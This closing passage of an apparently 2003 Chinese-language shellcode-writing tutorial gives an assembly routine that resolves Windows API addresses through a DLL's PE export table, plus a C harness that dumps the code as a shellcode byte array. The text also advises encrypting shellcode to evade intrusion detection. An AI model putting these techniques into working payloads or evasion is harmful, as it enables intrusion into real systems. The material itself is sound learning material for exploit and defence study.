__asm { /* 子程序FindApi,由我前面講解的GetFunctionByName修改得到 入口參數: ImageBase:DLL基址 FuncName:需要查找的引出函數名 flen:引出函數名長度,在不會出現重復的情況下可以比引出函數名短一點 Count:引出函數地址索引起始,通常應該把它設為0. 出口參數: 如果查找則成功Eax返回有效的函數地址,否則返回0 */ FindApi: mov eax,ImageBase add eax,0x3c//指向PE頭部偏移值e_lfanew mov eax,[eax]//取得e_lfanew值 add eax,ImageBase//指向PE header cmp [eax],0x00004550 jne NotFound//如果ImageBase句柄有錯 mov PE,eax mov eax,[eax+0x78] add eax,ImageBase//指向IMAGE_EXPORT_DIRECTORY mov [IED],eax mov eax,[eax+0x20] add eax,ImageBase mov FunNameArray,eax//保存函數名稱指針數組的指針值 mov ecx,[IED] mov ecx,[ecx+0x14]//根據引出函數個數NumberOfFunctions設置最大查找次數 FindLoop: push ecx//使用一個小技巧,使用程序循環更簡單 mov eax,[eax] add eax,ImageBase mov esi,FuncName mov edi,eax mov ecx,flen//逐個字符比較,如果相同則為找到函數,注意這里的ecx值 cld rep cmpsb jne FindNext//如果當前函數不是指定的函數則查找下一個 add esp,4//如果查找成功,則清除用于控制外層循環而壓入的Ecx,準備返回 mov eax,[IED] mov eax,[eax+0x1c] add eax,ImageBase//獲得函數地址表 shl Count,2//根據函數索引計算函數地址指針=函數地址表基址+(函數索引*4) add eax,Count mov eax,[eax]//獲得函數地址相對偏移量 add eax,ImageBase//計算函數真實地址,并通過Eax返回給調用者 jmp Found FindNext: inc Count//記錄函數索引 add [FunNameArray],4//下一個函數名指針 mov eax,FunNameArray pop ecx//恢復壓入的ecx(NumberOfFunctions),進行計數循環 loop FindLoop//如果ecx不為0則遞減并回到FindLoop,往后查找 NotFound: xor eax,eax//如果沒有找到,則返回0 Found: ret //ShellCode結束標識符 _emit '*' _emit '*' } }
void AboutMe(void) { printf("t++++++++++++++++++++++++++++++++++n"); printf("t+ ShellCode Demo! +n"); printf("t+ Code by yellow +n"); printf("t+ Date:2003-12-21 +n"); printf("t+ Email:yellow@safechina.net +n"); printf("t+ Home Page:www.safechina.net +n"); printf("t++++++++++++++++++++++++++++++++++n");
}
void printsc(unsigned char *sc) { int x=0; printf("unsigned char shellcode[]={"); while(1) { if ((*sc=='*')&&(*(sc+1)=='*')) break; if(!(x++%10)) printf("nt"); printf("0x%0.2X,",*sc++); } printf("n};nTotal %d Bytesrn",x+1); }
int main(void) { unsigned char *p=ShellCodeFun; unsigned int k=0; if(*p==0xe9) { k=*(unsigned int*)(++p); (int)p+=k; (int)p+=4; } printsc(p); AboutMe(); getch(); } ///////////////////////////////////////////////////////////////////////////////////////////////// 注意我在這里我沒有演示ShellCode加密技術,現在的ShellCode加密大都都xor之類的操作,基本上比較簡單 ,但為了逃避"入侵檢測系統"的查殺還是應該使用比較好的加密方法,我想以后可能會寫一些相關的技術文章吧!
Ok!已經演示了這么多,我想你的收獲一定不小吧!俗話說的好"師傅領進門,修行在個人",ShellCode最關鍵的 技術我們已經掌握了,至于怎么去實現一個功能豐富的ShellCode就看你自己的開發技術和經驗了! --------------------------------------------------------------------------------------------------
最后 當我初學ShellCode編寫技術時,對于沒有能讓初學者入門的ShellCode教程可以參考而感到煩惱,所以在我完成 PE和KERNEL32地址獲得方法學習后,就立刻寫了這篇文章,希望對廣大初學者有所幫助!眼看快要到圣誕節,yellow 在這里初大家圣誕節快樂,永遠開心,永遠年輕!愿中國的安全技術更上一層樓!
4,參考資料. <MSDN> <Windows 核心編程> <Windows 95系統程序設計大奧秘> <Win32Asm Programming> 5,關鍵字: 通用ShellCode,黑客編程技術,PE引出表,KERNEL32.DLL地址,結構化異常處理,SEH,溢出,overflow,中華安全網 By yellow from www.safechina.net 2003年12月21日晚 The End.
|